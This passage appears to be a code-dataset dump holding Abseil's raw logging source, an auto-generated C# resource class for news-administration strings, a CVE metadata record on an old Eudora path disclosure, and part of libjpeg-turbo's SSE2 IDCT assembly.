implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \"absl/base/internal/raw_logging.h\"\n\n#include <stddef.h>\n#include <cstdarg>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"absl/base/attributes.h\"\n#include \"absl/base/config.h\"\n#include \"absl/base/internal/atomic_hook.h\"\n#include \"absl/base/log_severity.h\"\n\n// We know how to perform low-level writes to stderr in POSIX and Windows. For\n// these platforms, we define the token ABSL_LOW_LEVEL_WRITE_SUPPORTED.\n// Much of raw_logging.cc becomes a no-op when we can't output messages,\n// although a FATAL ABSL_RAW_LOG message will still abort the process.\n\n// ABSL_HAVE_POSIX_WRITE is defined when the platform provides posix write()\n// (as from unistd.h)\n//\n// This preprocessor token is also defined in raw_io.cc. If you need to copy\n// this, consider moving both to config.h instead.\n#if defined(__linux__) || defined(__APPLE__) || defined(__FreeBSD__) || \\\n defined(__Fuchsia__) || defined(__native_client__) || \\\n defined(__EMSCRIPTEN__) || defined(__ASYLO__)\n\n#include <unistd.h>\n\n#define ABSL_HAVE_POSIX_WRITE 1\n#define ABSL_LOW_LEVEL_WRITE_SUPPORTED 1\n#else\n#undef ABSL_HAVE_POSIX_WRITE\n#endif\n\n// ABSL_HAVE_SYSCALL_WRITE is defined when the platform provides the syscall\n// syscall(SYS_write, /*int*/ fd, /*char* */ buf, /*size_t*/ len);\n// for low level operations that want to avoid libc.\n#if (defined(__linux__) || defined(__FreeBSD__)) && !defined(__ANDROID__)\n#include <sys/syscall.h>\n#define ABSL_HAVE_SYSCALL_WRITE 1\n#define ABSL_LOW_LEVEL_WRITE_SUPPORTED 1\n#else\n#undef ABSL_HAVE_SYSCALL_WRITE\n#endif\n\n#ifdef _WIN32\n#include <io.h>\n\n#define ABSL_HAVE_RAW_IO 1\n#define ABSL_LOW_LEVEL_WRITE_SUPPORTED 1\n#else\n#undef ABSL_HAVE_RAW_IO\n#endif\n\n// TODO(gfalcon): We want raw-logging to work on as many platforms as possible.\n// Explicitly #error out when not ABSL_LOW_LEVEL_WRITE_SUPPORTED, except for a\n// whitelisted set of platforms for which we expect not to be able to raw log.\n\nABSL_INTERNAL_ATOMIC_HOOK_ATTRIBUTES static absl::base_internal::AtomicHook<\n absl::raw_logging_internal::LogPrefixHook>\n log_prefix_hook;\nABSL_INTERNAL_ATOMIC_HOOK_ATTRIBUTES static absl::base_internal::AtomicHook<\n absl::raw_logging_internal::AbortHook>\n abort_hook;\n\n#ifdef ABSL_LOW_LEVEL_WRITE_SUPPORTED\nstatic const char kTruncated[] = \" ... (message truncated)\\n\";\n\n// sprintf the format to the buffer, adjusting *buf and *size to reflect the\n// consumed bytes, and return whether the message fit without truncation. If\n// truncation occurred, if possible leave room in the buffer for the message\n// kTruncated[].\ninline static bool VADoRawLog(char** buf, int* size, const char* format,\n va_list ap) ABSL_PRINTF_ATTRIBUTE(3, 0);\ninline static bool VADoRawLog(char** buf, int* size,\n const char* format, va_list ap) {\n int n = vsnprintf(*buf, *size, format, ap);\n bool result = true;\n if (n < 0 || n > *size) {\n result = false;\n if (static_cast<size_t>(*size) > sizeof(kTruncated)) {\n n = *size - sizeof(kTruncated); // room for truncation message\n } else {\n n = 0; // no room for truncation message\n }\n }\n *size -= n;\n *buf += n;\n return result;\n}\n#endif // ABSL_LOW_LEVEL_WRITE_SUPPORTED\n\nstatic constexpr int kLogBufSize = 3000;\n\nnamespace {\n\n// CAVEAT: vsnprintf called from *DoRawLog below has some (exotic) code paths\n// that invoke malloc() and getenv() that might acquire some locks.\n\n// Helper for RawLog below.\n// *DoRawLog writes to *buf of *size and move them past the written portion.\n// It returns true iff there was no overflow or error.\nbool DoRawLog(char** buf, int* size, const char* format, ...)\n ABSL_PRINTF_ATTRIBUTE(3, 4);\nbool DoRawLog(char** buf, int* size, const char* format, ...) {\n va_list ap;\n va_start(ap, format);\n int n = vsnprintf(*buf, *size, format, ap);\n va_end(ap);\n if (n < 0 || n > *size) return false;\n *size -= n;\n *buf += n;\n return true;\n}\n\nvoid RawLogVA(absl::LogSeverity severity, const char* file, int line,\n const char* format, va_list ap) ABSL_PRINTF_ATTRIBUTE(4, 0);\nvoid RawLogVA(absl::LogSeverity severity, const char* file, int line,\n const char* format, va_list ap) {\n char buffer[kLogBufSize];\n char* buf = buffer;\n int size = sizeof(buffer);\n#ifdef ABSL_LOW_LEVEL_WRITE_SUPPORTED\n bool enabled = true;\n#else\n bool enabled = false;\n#endif\n\n#ifdef ABSL_MIN_LOG_LEVEL\n if (severity < static_cast<absl::LogSeverity>(ABSL_MIN_LOG_LEVEL) &&\n severity < absl::LogSeverity::kFatal) {\n enabled = false;\n }\n#endif\n\n auto log_prefix_hook_ptr = log_prefix_hook.Load();\n if (log_prefix_hook_ptr) {\n enabled = log_prefix_hook_ptr(severity, file, line, &buf, &size);\n } else {\n if (enabled) {\n DoRawLog(&buf, &size, \"[%s : %d] RAW: \", file, line);\n }\n }\n const char* const prefix_end = buf;\n\n#ifdef ABSL_LOW_LEVEL_WRITE_SUPPORTED\n if (enabled) {\n bool no_chop = VADoRawLog(&buf, &size, format, ap);\n if (no_chop) {\n DoRawLog(&buf, &size, \"\\n\");\n } else {\n DoRawLog(&buf, &size, \"%s\", kTruncated);\n }\n absl::raw_logging_internal::SafeWriteToStderr(buffer, strlen(buffer));\n }\n#else\n static_cast<void>(format);\n static_cast<void>(ap);\n#endif\n\n // Abort the process after logging a FATAL message, even if the output itself\n // was suppressed.\n if (severity == absl::LogSeverity::kFatal) {\n abort_hook(file, line, buffer, prefix_end, buffer + kLogBufSize);\n abort();\n }\n}\n\n} // namespace\n\nnamespace absl {\nABSL_NAMESPACE_BEGIN\nnamespace raw_logging_internal {\nvoid SafeWriteToStderr(const char *s, size_t len) {\n#if defined(ABSL_HAVE_SYSCALL_WRITE)\n syscall(SYS_write, STDERR_FILENO, s, len);\n#elif defined(ABSL_HAVE_POSIX_WRITE)\n write(STDERR_FILENO, s, len);\n#elif defined(ABSL_HAVE_RAW_IO)\n _write(/* stderr */ 2, s, len);\n#else\n // stderr logging unsupported on this platform\n (void) s;\n (void) len;\n#endif\n}\n\nvoid RawLog(absl::LogSeverity severity, const char* file, int line,\n const char* format, ...) ABSL_PRINTF_ATTRIBUTE(4, 5);\nvoid RawLog(absl::LogSeverity severity, const char* file, int line,\n const char* format, ...) {\n va_list ap;\n va_start(ap, format);\n RawLogVA(severity, file, line, format, ap);\n va_end(ap);\n}\n\n// Non-formatting version of RawLog().\n//\n// TODO(gfalcon): When string_view no longer depends on base, change this\n// interface to take its message as a string_view instead.\nstatic void DefaultInternalLog(absl::LogSeverity severity, const char* file,\n int line, const std::string& message) {\n RawLog(severity, file, line, \"%s\", message.c_str());\n}\n\nbool RawLoggingFullySupported() {\n#ifdef ABSL_LOW_LEVEL_WRITE_SUPPORTED\n return true;\n#else // !ABSL_LOW_LEVEL_WRITE_SUPPORTED\n return false;\n#endif // !ABSL_LOW_LEVEL_WRITE_SUPPORTED\n}\n\nABSL_DLL ABSL_INTERNAL_ATOMIC_HOOK_ATTRIBUTES\n absl::base_internal::AtomicHook<InternalLogFunction>\n internal_log_function(DefaultInternalLog);\n\nvoid RegisterInternalLogFunction(InternalLogFunction func) {\n internal_log_function.Store(func);\n}\n\n} // namespace raw_logging_internal\nABSL_NAMESPACE_END\n} // namespace absl\n"} {"text": "//------------------------------------------------------------------------------\n// <auto-generated>\n// This code was generated by a tool.\n// Runtime Version:4.0.30319.42000\n//\n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace Resources.Areas.Administration.News.ViewModels {\n using System;\n \n \n /// <summary>\n /// A strongly-typed resource class, for looking up localized strings, etc.\n /// </summary>\n // This class was auto-generated by the StronglyTypedResourceBuilder\n // class via a tool like ResGen or Visual Studio.\n // To add or remove a member, edit your .ResX file then rerun ResGen\n // with the /str option, or rebuild your VS project.\n [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\n [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n public class NewsAdministration {\n \n private static global::System.Resources.ResourceManager resourceMan;\n \n private static global::System.Globalization.CultureInfo resourceCulture;\n \n [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n internal NewsAdministration() {\n }\n \n /// <summary>\n /// Returns the cached ResourceManager instance used by this class.\n /// </summary>\n [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n public static global::System.Resources.ResourceManager ResourceManager {\n get {\n if (object.ReferenceEquals(resourceMan, null)) {\n global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"OJS.Web.App_GlobalResources.Areas.Administration.News.ViewModels.NewsAdministrati\" +\n \"on\", typeof(NewsAdministration).Assembly);\n resourceMan = temp;\n }\n return resourceMan;\n }\n }\n \n /// <summary>\n /// Overrides the current thread's CurrentUICulture property for all\n /// resource lookups using this strongly typed resource class.\n /// </summary>\n [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n public static global::System.Globalization.CultureInfo Culture {\n get {\n return resourceCulture;\n }\n set {\n resourceCulture = value;\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Author.\n /// </summary>\n public static string Author {\n get {\n return ResourceManager.GetString(\"Author\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Accepted length is between {2} and {1} symbols.\n /// </summary>\n public static string Author_length {\n get {\n return ResourceManager.GetString(\"Author_length\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to The author is required!.\n /// </summary>\n public static string Author_required {\n get {\n return ResourceManager.GetString(\"Author_required\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Content.\n /// </summary>\n public static string Content {\n get {\n return ResourceManager.GetString(\"Content\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Accepted length is between {2} and {1} symbols.\n /// </summary>\n public static string Content_length {\n get {\n return ResourceManager.GetString(\"Content_length\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to The content is required!.\n /// </summary>\n public static string Content_required {\n get {\n return ResourceManager.GetString(\"Content_required\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Source.\n /// </summary>\n public static string Source {\n get {\n return ResourceManager.GetString(\"Source\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Accepted length is between {2} and {1} symbols.\n /// </summary>\n public static string Source_length {\n get {\n return ResourceManager.GetString(\"Source_length\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to The source is required!.\n /// </summary>\n public static string Source_required {\n get {\n return ResourceManager.GetString(\"Source_required\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Title.\n /// </summary>\n public static string Title {\n get {\n return ResourceManager.GetString(\"Title\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Accepted length is between {2} and {1} symbols.\n /// </summary>\n public static string Title_length {\n get {\n return ResourceManager.GetString(\"Title_length\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to The title is required.\n /// </summary>\n public static string Title_required {\n get {\n return ResourceManager.GetString(\"Title_required\", resourceCulture);\n }\n }\n \n /// <summary>\n /// Looks up a localized string similar to Is visible?.\n /// </summary>\n public static string Visibility {\n get {\n return ResourceManager.GetString(\"Visibility\", resourceCulture);\n }\n }\n }\n}\n"} {"text": "{\n \"CVE_data_meta\": {\n \"ASSIGNER\": \"cve@mitre.org\",\n \"ID\": \"CVE-2000-0874\",\n \"STATE\": \"PUBLIC\"\n },\n \"affects\": {\n \"vendor\": {\n \"vendor_data\": [\n {\n \"product\": {\n \"product_data\": [\n {\n \"product_name\": \"n/a\",\n \"version\": {\n \"version_data\": [\n {\n \"version_value\": \"n/a\"\n }\n ]\n }\n }\n ]\n },\n \"vendor_name\": \"n/a\"\n }\n ]\n }\n },\n \"data_format\": \"MITRE\",\n \"data_type\": \"CVE\",\n \"data_version\": \"4.0\",\n \"description\": {\n \"description_data\": [\n {\n \"lang\": \"eng\",\n \"value\": \"Eudora mail client includes the absolute path of the sender's host within a virtual card (VCF).\"\n }\n ]\n },\n \"problemtype\": {\n \"problemtype_data\": [\n {\n \"description\": [\n {\n \"lang\": \"eng\",\n \"value\": \"n/a\"\n }\n ]\n }\n ]\n },\n \"references\": {\n \"reference_data\": [\n {\n \"name\": \"20000907 Eudora disclosure\",\n \"refsource\": \"BUGTRAQ\",\n \"url\": \"http://www.securityfocus.com/archive/1/80888\"\n },\n {\n \"name\": \"1653\",\n \"refsource\": \"BID\",\n \"url\": \"http://www.securityfocus.com/bid/1653\"\n },\n {\n \"name\": \"eudora-path-disclosure(5206)\",\n \"refsource\": \"XF\",\n \"url\": \"https://exchange.xforce.ibmcloud.com/vulnerabilities/5206\"\n },\n {\n \"name\": \"1545\",\n \"refsource\": \"OSVDB\",\n \"url\": \"http://www.osvdb.org/1545\"\n }\n ]\n }\n}"} {"text": ";\n; jidctfst.asm - fast integer IDCT (64-bit SSE2)\n;\n; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB\n; Copyright (C) 2009, D. R. Commander.\n;\n; Based on the x86 SIMD extension for IJG JPEG library\n; Copyright (C) 1999-2006, MIYASAKA Masaru.\n; For conditions of distribution and use, see copyright notice in jsimdext.inc\n;\n; This file should be assembled with NASM (Netwide Assembler),\n; can *not* be assembled with Microsoft's MASM or any compatible\n; assembler (including Borland's Turbo Assembler).\n; NASM is available from http://nasm.sourceforge.net/ or\n; http://sourceforge.net/project/showfiles.php?group_id=6208\n;\n; This file contains a fast, not so accurate integer implementation of\n; the inverse DCT (Discrete Cosine Transform). The following code is\n; based directly on the IJG's original jidctfst.c; see the jidctfst.c\n; for more details.\n;\n; [TAB8]\n\n%include \"jsimdext.inc\"\n%include \"jdct.inc\"\n\n; --------------------------------------------------------------------------\n\n%define CONST_BITS 8 ; 14 is also OK.\n%define PASS1_BITS 2\n\n%if IFAST_SCALE_BITS != PASS1_BITS\n%error \"'IFAST_SCALE_BITS' must be equal to 'PASS1_BITS'.\"\n%endif\n\n%if CONST_BITS == 8\nF_1_082 equ 277 ; FIX(1.082392200)\nF_1_414 equ 362 ; FIX(1.414213562)\nF_1_847 equ 473 ; FIX(1.847759065)\nF_2_613 equ 669 ; FIX(2.613125930)\nF_1_613 equ (F_2_613 - 256) ; FIX(2.613125930) - FIX(1)\n%else\n; NASM cannot do compile-time arithmetic on floating-point constants.\n%define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n))\nF_1_082 equ DESCALE(1162209775,30-CONST_BITS) ; FIX(1.082392200)\nF_1_414 equ DESCALE(1518500249,30-CONST_BITS) ; FIX(1.414213562)\nF_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065)\nF_2_613 equ DESCALE(2805822602,30-CONST_BITS) ; FIX(2.613125930)\nF_1_613 equ (F_2_613 - (1 << CONST_BITS)) ; FIX(2.613125930) - FIX(1)\n%endif\n\n; --------------------------------------------------------------------------\n SECTION SEG_CONST\n\n; PRE_MULTIPLY_SCALE_BITS <= 2 (to avoid overflow)\n; CONST_BITS + CONST_SHIFT + PRE_MULTIPLY_SCALE_BITS == 16 (for pmulhw)\n\n%define PRE_MULTIPLY_SCALE_BITS 2\n%define CONST_SHIFT (16 - PRE_MULTIPLY_SCALE_BITS - CONST_BITS)\n\n alignz 16\n global EXTN(jconst_idct_ifast_sse2)\n\nEXTN(jconst_idct_ifast_sse2):\n\nPW_F1414 times 8 dw F_1_414 << CONST_SHIFT\nPW_F1847 times 8 dw F_1_847 << CONST_SHIFT\nPW_MF1613 times 8 dw -F_1_613 << CONST_SHIFT\nPW_F1082 times 8 dw F_1_082 << CONST_SHIFT\nPB_CENTERJSAMP times 16 db CENTERJSAMPLE\n\n alignz 16\n\n; --------------------------------------------------------------------------\n SECTION SEG_TEXT\n BITS 64\n;\n; Perform dequantization and inverse DCT on one block of coefficients.\n;\n; GLOBAL(void)\n; jsimd_idct_ifast_sse2 (void *dct_table, JCOEFPTR coef_block,\n; JSAMPARRAY output_buf, JDIMENSION output_col)\n;\n\n; r10 = jpeg_component_info *compptr\n; r11 = JCOEFPTR coef_block\n; r12 = JSAMPARRAY output_buf\n; r13 = JDIMENSION output_col\n\n%define original_rbp rbp+0\n%define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM]\n%define WK_NUM 2\n\n align 16\n global EXTN(jsimd_idct_ifast_sse2)\n\nEXTN(jsimd_idct_ifast_sse2):\n push rbp\n mov rax,rsp ; rax = original rbp\n sub rsp, byte 4\n and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits\n mov [rsp],rax\n mov rbp,rsp ; rbp = aligned rbp\n lea rsp, [wk(0)]\n collect_args\n\n ; ---- Pass 1: process columns from input.\n\n mov rdx, r10 ; quantptr\n mov rsi, r11 ; inptr\n\n%ifndef NO_ZERO_COLUMN_TEST_IFAST_SSE2\n mov eax, DWORD [DWBLOCK(1,0,rsi,SIZEOF_JCOEF)]\n or eax, DWORD [DWBLOCK(2,0,rsi,SIZEOF_JCOEF)]\n jnz near .columnDCT\n\n movdqa xmm0, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)]\n movdqa xmm1, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)]\n por xmm0, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)]\n por xmm1, XMMWORD [XMMBLOCK(4,0,rsi,SIZEOF_JCOEF)]\n por xmm0, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)]\n por xmm1, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)]\n por xmm0, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)]\n por xmm1,xmm0\n packsswb xmm1,xmm1\n packsswb xmm1,xmm1\n movd eax,xmm1\n test rax,rax\n jnz short .columnDCT\n\n ; -- AC terms all zero\n\n movdqa xmm0, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)]\n pmullw xmm0, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_ISLOW_MULT_TYPE)]\n\n movdqa xmm7,xmm0 ; xmm0=in0=(00 01 02 03 04 05 06 07)\n punpcklwd xmm0,xmm0 ; xmm0=(00 00 01 01 02 02 03 03)\n punpckhwd xmm7,xmm7 ; xmm7=(04 04 05 05 06 06 07 07)\n\n pshufd xmm6,xmm0,0x00 ; xmm6=col0=(00 00 00 00 00 00 00 00)\n pshufd xmm2,xmm0,0x55 ; xmm2=col1=(01 01 01 01 01 01 01 01)\n pshufd xmm5,xmm0,0xAA ; xmm5=col2=(02 02 02 02 02 02 02 02)\n pshufd xmm0,xmm0,0xFF ; xmm0=col3=(03 03 03 03 03 03 03 03)\n pshufd xmm1,xmm7,0x00 ; xmm1=col4=(04 04 04 04 04 04 04 04)\n pshufd xmm4,xmm7,0x55 ; xmm4=col5=(05 05 05 05 05 05 05 05)\n pshufd xmm3,xmm7,0xAA ; xmm3=col6=(06 06 06 06 06 06 06 06)\n pshufd xmm7,xmm7,0xFF ; xmm7=col7=(07 07 07 07 07 07 07 07)\n\n movdqa XMMWORD [wk(0)], xmm2 ; wk(0)=col1\n movdqa XMMWORD [wk(1)], xmm0 ; wk(1)=col3\n jmp near .column_end\n%endif\n.columnDCT:\n\n ; -- Even part\n\n movdqa xmm0, XMMWORD [XMMBLOCK(0,0,rsi,SIZEOF_JCOEF)]\n movdqa xmm1, XMMWORD [XMMBLOCK(2,0,rsi,SIZEOF_JCOEF)]\n pmullw xmm0, XMMWORD [XMMBLOCK(0,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n pmullw xmm1, XMMWORD [XMMBLOCK(2,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n movdqa xmm2, XMMWORD [XMMBLOCK(4,0,rsi,SIZEOF_JCOEF)]\n movdqa xmm3, XMMWORD [XMMBLOCK(6,0,rsi,SIZEOF_JCOEF)]\n pmullw xmm2, XMMWORD [XMMBLOCK(4,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n pmullw xmm3, XMMWORD [XMMBLOCK(6,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n\n movdqa xmm4,xmm0\n movdqa xmm5,xmm1\n psubw xmm0,xmm2 ; xmm0=tmp11\n psubw xmm1,xmm3\n paddw xmm4,xmm2 ; xmm4=tmp10\n paddw xmm5,xmm3 ; xmm5=tmp13\n\n psllw xmm1,PRE_MULTIPLY_SCALE_BITS\n pmulhw xmm1,[rel PW_F1414]\n psubw xmm1,xmm5 ; xmm1=tmp12\n\n movdqa xmm6,xmm4\n movdqa xmm7,xmm0\n psubw xmm4,xmm5 ; xmm4=tmp3\n psubw xmm0,xmm1 ; xmm0=tmp2\n paddw xmm6,xmm5 ; xmm6=tmp0\n paddw xmm7,xmm1 ; xmm7=tmp1\n\n movdqa XMMWORD [wk(1)], xmm4 ; wk(1)=tmp3\n movdqa XMMWORD [wk(0)], xmm0 ; wk(0)=tmp2\n\n ; -- Odd part\n\n movdqa xmm2, XMMWORD [XMMBLOCK(1,0,rsi,SIZEOF_JCOEF)]\n movdqa xmm3, XMMWORD [XMMBLOCK(3,0,rsi,SIZEOF_JCOEF)]\n pmullw xmm2, XMMWORD [XMMBLOCK(1,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n pmullw xmm3, XMMWORD [XMMBLOCK(3,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n movdqa xmm5, XMMWORD [XMMBLOCK(5,0,rsi,SIZEOF_JCOEF)]\n movdqa xmm1, XMMWORD [XMMBLOCK(7,0,rsi,SIZEOF_JCOEF)]\n pmullw xmm5, XMMWORD [XMMBLOCK(5,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n pmullw xmm1, XMMWORD [XMMBLOCK(7,0,rdx,SIZEOF_IFAST_MULT_TYPE)]\n\n movdqa xmm4,xmm2\n movdqa xmm0,xmm5\n psubw xmm2,xmm1 ; xmm2=z12\n psubw xmm5,xmm3 ; xmm5=z10\n paddw xmm4,xmm1 ; xmm4=z11\n paddw xmm0,xmm3 ; xmm0=z13\n\n movdqa xmm1,xmm5 ; xmm1=z10(unscaled)\n psllw xmm2,PRE_MULTIPLY_SCALE_BITS\n psllw xmm5,PRE_MULTIPLY_SCALE_BITS\n\n movdqa xmm3,xmm4\n psubw xmm4,xmm0\n paddw xmm3,xmm0 ; xmm3=tmp7\n\n psllw xmm4,PRE_MULTIPLY_SCALE_BITS\n pmulhw xmm4,[rel PW_F1414] ; xmm4=tmp11\n\n ; To avoid overflow...\n ;\n ; (Original)\n ; tmp12 = -2.613125930 * z10 + z5;\n ;\n ; (This implementation)\n ; tmp12 = (-1.613125930 - 1) * z10 + z5;\n ; = -1.613125930 * z10 - z10 + z5;\n\n movdqa xmm0,xmm5\n paddw xmm5,xmm2\n pmulhw xmm5,[rel PW_F1847] ; xmm5=z5\n pmulhw xmm0,[rel PW_MF1613]\n pmulhw xmm2,[rel PW_F1082]\n psubw xmm0,xmm1\n psubw xmm2,xmm5 ; xmm2=tmp10\n paddw xmm0,xmm5 ; xmm0=tmp12\n\n ; -- Final output stage\n\n psubw xmm0,xmm3 ; xmm0=tmp6\n movdqa xmm1,xmm6\n movdqa xmm5,xmm7\n paddw xmm6,xmm3 ; xmm6=data0=(00 01 02 03 04 05 06 07)\n paddw xmm7,xmm0 ; xmm7=data1=(10 11 12 13 14 15 16 17)\n psubw xmm1,xmm3 ; xmm1=data7=(70 71 72 73 74 75 76 77)\n psubw xmm5,xmm0 ; xmm5=data6=(60 61 62 63 64 65 66 67)\n psubw xmm4,xmm0 ; xmm4=tmp5\n\n movdqa xmm3,xmm6 ; transpose coefficients(phase 1)\n punpcklwd xmm6,xmm7 ; xmm6=(00 10 01 11 02 12 03 13)\n punpckhwd xmm3,xmm7 ; xmm3=(04 14 05 15 06 16 07 17)\n movdqa xmm0,xmm5 ; transpose coefficients(phase 1)\n punpcklwd xmm5,xmm1 ; xmm5=(60 70 61 71 62 72 63 73)\n punpckhwd xmm0,xmm1 ; xmm0=(64 74 65 75 66 76 67 77)\n\n movdqa xmm7, XMMWORD [wk(0)] ; xmm7=tmp2\n movdqa xmm1, XMMWORD [wk(1)] ; xmm1=tmp3\n\n movdqa XMMWORD [wk(0)], xmm5 ; wk(0)=(60 70 61 71 62 72 63 73)\n movdqa XMMWORD [wk(1)], xmm0 ; wk(1)=(64 74 65 75 66 76 67 77)\n\n paddw xmm2,xmm4 ; xmm2=tmp4\n movdqa xmm5,xmm7\n movdqa xmm0,xmm1\n paddw xmm7,xmm4 ; xmm7=data2=(20 21 22 23 24 25 26 27)\n paddw xmm1,xmm2 ; xmm1=data4=(40 41 42 43 44 45 46 47)\n psubw xmm5,xmm4 ; xmm5=data5=(50 51 52 53 54 55 56 57)\n psubw xmm0,xmm2 ; xmm0=data3=(30 31 32 33 34 35 36 37)\n\n movdqa xmm4,xmm7 ; transpose coefficients(phase 1)\n punpcklwd xmm7,xmm0 ; xmm7=(20 30 21 31 22 32 23 33)\n punpckhwd xmm4,xmm0 ; xmm4=(24 34 25 35 26 36 27 37)\n movdqa xmm2,xmm1 ; transpose coefficients(phase 1)\n punpcklwd xmm1,xmm5 ; xmm1=(40 50 41 51 42 52 43 53)\n punpckhwd xmm2,xmm5 ; xmm2=(44 54 45 55 46 56 47 57)\n\n movdqa xmm0,xmm3 ; transpose coefficients(phase 2)\n punpckldq xmm3,xmm4 ; xmm3=(04 14 24 34 05 15 25 35)\n punpckhdq xmm0,xmm4 ; xmm0=(06 16 26 36 07 17 27 37)\n movdqa xmm5,xmm6 ; transpose coefficients(phase 2)\n punpckldq xmm6,xmm7 ; xmm6=(00 10 20 30 01 11 21 31)\n punpckhdq xmm5,xmm7 ; xmm5=(02 12 22 32 03 13 23 33)\n\n movdqa xmm4, XMMWORD [wk(0)] ; xmm4=(60 70 61 71 62 72 63 73)\n movdqa xmm7, XMMWORD [wk(1)] ; xmm7=(64 74 65 75 66 76 67 77)\n\n movdqa XMMWORD [wk(0)], xmm3 ; wk(0)=(04 14 24 34 05 15 25 35)\n movdqa XMMWORD [wk(1)], xmm0 ; wk(1)=(06 16 26 36 07 17 27 37)\n\n movdqa xmm3,xmm1 ; transpose coefficients(phase 2)\n punpckldq xmm1,xmm4 ; xmm1=(40 50 60 70 41 51 61 71)\n punpckhdq xmm3,xmm4 ; xmm3=(42 52 62 72 43 53 63 73)\n movdqa xmm0,xmm2 ; transpose coefficients(phase 2)\n punpckldq xmm2,xmm7 ; xmm2=(44 54 64 74 45 55 65 75)\n punpckhdq xmm0,xmm7 ; xmm0=(46 56 66 76 47 57 67 77)\n\n movdqa xmm4,xmm6 ; transpose coefficients(phase 3)\n punpcklqdq xmm6,xmm1 ; xmm6=col0=(00 10 20 30 40 50 60 70)\n punpckhqdq xmm4,xmm1 ; xmm4=col1=(01 11 21 31 41 51 61 71)\n movdqa xmm7,xmm5 ; transpose coefficients(phase 3)\n punpcklqdq xmm5,xmm3 ; xmm5=col2=(02 12 22 32 42 52 62 72)\n punpckhqdq xmm7,xmm3 ; xmm7=col3=(03 13 23 33 43 53 63 73)\n\n movdqa xmm1, XMMWORD [wk(0)] ; xmm1=(04 14 24 34 05 15 25 35)\n movdqa xmm3, XMMWORD [wk(1)] ; xmm3=(06 16 26 36 07 17 27 37)\n\n movdqa XMMWORD [wk(0)], xmm4 ; wk(0)=col1\n movdqa XMMWORD [wk(1)], xmm7 ; wk(1)=col3\n\n movdqa xmm4,xmm1 ; transpose coefficients(phase 3)\n punpcklqdq xmm1,xmm2 ; xmm1=col4=(04 14 24 34 44 54 64 74)\n punpckhqdq xmm4,xmm2 ; xmm4=col5=(05 15 25 35 45 55 65 75)\n movdqa xmm7,xmm3 ; transpose coefficients(phase 3)\n punpcklqdq xmm3,xmm0 ; xmm3=col6=(06 16 26 36 46 56 66 76)\n punpckhqdq xmm7,xmm0 ; xmm7=col7=(07 17 27 37 47 57 67 77)\n.column_end:\n\n ; -- Prefetch the next coefficient block\n\n prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 0*32]\n prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 1*32]\n prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 2*32]\n prefetchnta [rsi + DCTSIZE2*SIZEOF_JCOEF + 3*32]\n\n ; ---- Pass 2: process rows from work array, store into output array.\n\n mov rax, [original_rbp]\n mov rdi, r12 ; (JSAMPROW *)\n mov eax, r13d\n\n ; -- Even part\n\n ; xmm6=col0, xmm5=col2, xmm1=col4, xmm3=col6\n\n movdqa xmm2,xmm6\n movdqa xmm0,xmm5\n psubw xmm6,xmm1 ; xmm6=tmp11\n psubw xmm5,xmm3\n paddw xmm2,xmm1 ; xmm2=tmp10\n paddw xmm0,xmm3 ; xmm0=tmp13\n\n psllw xmm5,PRE_MULTIPLY_SCALE_BITS\n pmulhw xmm5,[rel PW_F1414]\n psubw xmm5,xmm0 ; xmm5=tmp12\n\n movdqa xmm1,xmm2\n movdqa xmm3,xmm6\n psubw xmm2,xmm0 ; xmm2=tmp3\n psubw xmm6,xmm5 ; xmm6=tmp2\n paddw xmm1,xmm0 ; xmm1=tmp0\n paddw xmm3,xmm5 ; 